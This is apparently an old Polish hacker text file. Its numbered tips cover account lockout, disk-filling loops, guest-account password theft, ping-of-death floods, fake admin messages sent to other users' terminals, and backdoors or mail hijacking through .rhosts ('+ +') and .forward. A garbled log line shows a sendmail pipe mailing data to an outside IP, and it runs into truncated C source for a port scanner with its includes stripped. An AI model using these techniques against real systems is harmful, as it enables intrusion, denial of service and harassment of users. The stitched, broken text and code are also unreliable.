(robiac tak w kilku mozna niezle zamieszac w serverze)
5 JAk komus zamknac konto(czasowo) : P0WER
Niektore servery zamykaja dostep do konta po kilku nieudanych probach
podania hasla, lub po odczekaniu zbyt wielu sekund przy logowaniu.
Mozesz w ten sposob pozbawic jakiegos uzytkownika konta na jakis czas, ale
wystarczy ze poprosi on roota, a konto zostanie odblokowane.
Takie mozliwosci sa najczescie na serverach uczelnianych, np po trzech
zlych loginach nalezy podac specjalne haslo, bo jak nie to konto jest
zamrazane.
6 Anonymous FTP : P0WER
Gdy server posiada Anonymous FTP z zapisywalnymi obszarami mozna bardzo
latwo namieszac.
Na przyklad zapychajac twardziela. Na przyklad takim programem:
while : ;
mkdir .xxx
cd .xxx
done
{choc nie wiem czy cokolwiek odpalicie przez ftp, ale jest przeciez jeszcze
guest)
Poza tym to swietny sposob na zapchanie twardziela jesli juz wejdziesz do
srodka.
7 Wlamac sie do servera jako guest : lcamtuf
- Zaloguj sie jako guest lub wykorzystujac inne "goscinne" konto przez telnet
(admin musi byc malo rozgarniety, zeby zostawic ta dziurke, typowe konta
tego typu sa zebrane w 2600faq, http://www.2600.com).
- Korzystajac z zapisywalnych obszarow, czyli np katalogu typu trash, lub
tmp nagrac, skompilowac i uruchomic wspomniany wczesniej programik
z getpwent().
- Dzieki temu moze otrzymasz plik z haslami.
A potem to juz chyba wiesz co robic!!!
Lecz to dziala juz tylko na starych systemach Unixa.
8 Ping flood : P0WER
Nie to nie irc, to unix. Tutaj mozna poslac takze ping
ping -s host (Unix)
powoduje wyslanie 64 bajtow do hosta.
W Shicie 95 tez mozna poslac pinga.
NAcisniej klawisz "start", potem "uruchom" i wpisz:
PING -T -L 256 xxx.xxx.xxx.pl - taki tekst wystartuje okolo 15 sesji.
ale co sie bedziemy rozdrabniac, przeciez chcemy namieszac!
PING -l 65510 adres.do.spingowania.pl
Zamrozi to maszynke lub ja przeresetuje(ale nie wiem czy nie spali ci
twojego lacza modemowego ;)
Po prostu, nie wiem czy to zadziala przez modem.(ale jak jakis twoj kumpel
odpalil Linuxa na modemie to mozeci eksperymentowac)
Ponoc dziala na kernel 2.0.7 up to version 2.0.20. i 2.1.1. na Linux
(crash). AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash). OSF/1, 3.2C, Solaris 2.4
x86 (reboot).
9 Jak kogos nastraszyc : P0WER
Wyobraz sobie, ze siedzisz przed kompciem i czytasz czyjas poczte i nagle
widzisz napis:
Admin: Mam cie na oku ;)
Robisz w gacie i spieprzasz z servera.
Q1: Jak to zrobic???
A1: To proste jak drut:)
1 cd /dev
2 ls -l tt*
teraz masz spis wszystkich zalogowanych uzytkownikow
3Napisz tylko
>echo Admin: Mam cie na oku! >! /dev/ttyp08
(ttyp08 to przykladowy terminal)
Mozna tez inaczej
1 finger enemyname
zobaczysz:
enemyname logged on since 12:24 from 194.165.56.7 on ttyp08
No i teraz tylko:
>echo Admin: Mam cie na oku! >! /dev/ttyp08
10 Do czego sluza pliki .xxxx : P0WER
Pliki .xxxx sa z reguly plikami konfiguracyjnymi.
Nie ujawniaja sie gdy listujesz katalog, chyba ze robisz to z atrybutem -a
Pozwalaja one czytac cudza poczte, odpalac cudze pliki, czy wchodzic na
czyjes konto bez hasla.
Lecz mozna wykorzystywac je tylko wtedy gdy wlasciciel konta jest lamerem i
nie wie do czego one sluza, bo w przeciwnym razie twoje modyfikacje zostana
wykryte.
.rlogin
Jest to plik, zawierajacy komendy, ktore uruchamiane sa za kazdym razem gdy
uzytkownik loguje sie na konto.
Zeby kogos zalatwic mozna w nim umiescic komende logout, ale tak robia
tylko lamery.
Jesli chcesz wywinac numer wpisz w niego chmod 777 * aby pliki uzytkownika
byly dostepne dla wszystkich.
Mozesz zrobic tez wiele innych rzeczy, wiec jako doswiadczony hacker sam
dojdziesz do tego(lub nie ;)
.rhosts
W tym pliku zawarte sa adresy zaufanych hostow.
Kazdy kto zaloguje sie przez remote login z takiej maszyny nie musi podawac
hasla.
Gdy umiescisz "+ +" w tym pliku to kazdy host bedzie zaufany.(opisalem ten
numer w punkcie I-6)
.forward
Jesli w tym pliku umiescisz jakis adres e-maila to cala poczta uzytkownika
bedzie rowniez wysylana pod podany adres.
11 Sciaganie passwd : P0WER
Pamietaj, ze gdy sciagasz hasla zapisuje sie to w logach.
Oto kawalek loga z servera x . Jest to plik syslog.0
Byl tam tez plik syslog , w ktorym logi i inne rzeczy zapisywane byly przez
24h
Natomiast plik syslog.0 przechowywal te dane przez tydzien.
Byl tez plik netlog ktory przez miesiac przechowywal wszystkie bledne
polecenia skierowane do servera(przynajmniej tak to wygladalo).
Wiecie w ogole ilu ludzi pobiera haselko w ciagu tygodnia z takiego
popularnego servera!!!
Apr 8 22:04:01 srv1 sendmail[5623]: AA05623: from="|/bin/mail
root@194.204.147.39 [low port] [high port]
ident-scan www.lamers.com 1 9999
---cut here---
/*
* ident-scan [v0.15]
* This TCP scanner has the additional functionality of retrieving
* the username that owns the daemon running on the specified port.
* It does this by by attempting to connect to a TCP port, and if it
* succeeds, it will send out an ident request to identd on the
* remote host. I believe this to be a flaw in the design of the
* protocol, and if it is the developers intent to allow 'reverse'
* idents, then it should have been stated clearer in the
* rfc(rfc1413).
*
* USES:
* It can be useful to determine who is running daemons on high ports
* that can be security risks. It can also be used to search for
* misconfigurations such as httpd running as root, other daemons
* running under the wrong uids.
*
* COMPILES: Compiles fine under Linux, BSDI and SunOS 4.1.x.
*
* Dave Goldsmith
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
enum errlist
{
BAD_ARGS,BAD_HOST,NO_IDENT,SOCK_ERR
};
void
usage(error)
enum errlist error;
{
fprintf(stderr,"ident-scan: ");
switch(error)
{
case BAD_ARGS: fprintf(stderr,"usage: ident-scan hostname [low port]
[hi port]\n");
break;
case BAD_HOST: fprintf(stderr,"error: cant resolve hostname\n");
break;
case NO_IDENT: fprintf(stderr,"error: ident isnt running on host\n");
break;
case SOCK_ERR: fprintf(stderr,"error: socket() failed\n");
break;
}
exit(-1);
}
struct hostent *
fill_host(machine,host)
char *machine;
struct hostent *host;
{
if ((host=gethostbyname(machine))==NULL)
{
if ((host=gethostbyaddr(machine,4,AF_INET))==NULL)
return(host);
}
return(host);
}
int
main(argc,argv)
int argc;
char **argv;
{
struct sockaddr_in forconnect,forport,forident;
int i,sockfd,identfd,len=sizeof(forport),hiport=9999,loport=1,curport;
struct servent *service;
struct hostent *host;
char identbuf[15], recieved[85], *uid;
if ((argc<2) || (argc>4))
usage(BAD_ARGS);
if (argc>2)
loport=atoi(argv[2]);
if (argc>3)
hiport=atoi(argv[3]);
if ((host=fill_host(argv[1],host))==NULL)
usage(BAD_HOST);
forconnect.sin_family=host->h_addrtype;
forconnect.sin_addr.s_addr=*((long *)host->h_addr);
forident.sin_family=host->h_addrtype;
forident.sin_addr.s_addr=*((long *)host->h_addr);
forident.sin_port=htons(113);
if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);
if ((connect(identfd,(struct sockaddr *)&forident,sizeof(forident)))!=0)
usage(NO_IDENT);
close(identfd);
for(curport=loport;curport<=hiport;curport++)
{
for(i=0;i!=85;i++)
recieved[i]='\0';
forconnect.sin_port=htons(curport);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);
if (connect(sockfd,(struct sockaddr *)&forconnect,sizeof(forconnect))==
0)
{
if (getsockname(sockfd,(struct sockaddr *)&forport,&len)==0)
{
if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);
if (connect(identfd,(struct sockaddr *)&forident,sizeof(forident))
==0)
{
sprintf(identbuf,"%u,%u",htons(forconnect.sin_port),
htons(forport.sin_port));
write(identfd,identbuf,strlen(identbuf)+1);
read(identfd,recieved,80);
recieved[strlen(recieved)-1]='\0';
uid=strrchr(recieved,' ');
service=getservbyport(forconnect.sin_port,"tcp");
printf("Port: %3d\tService: %10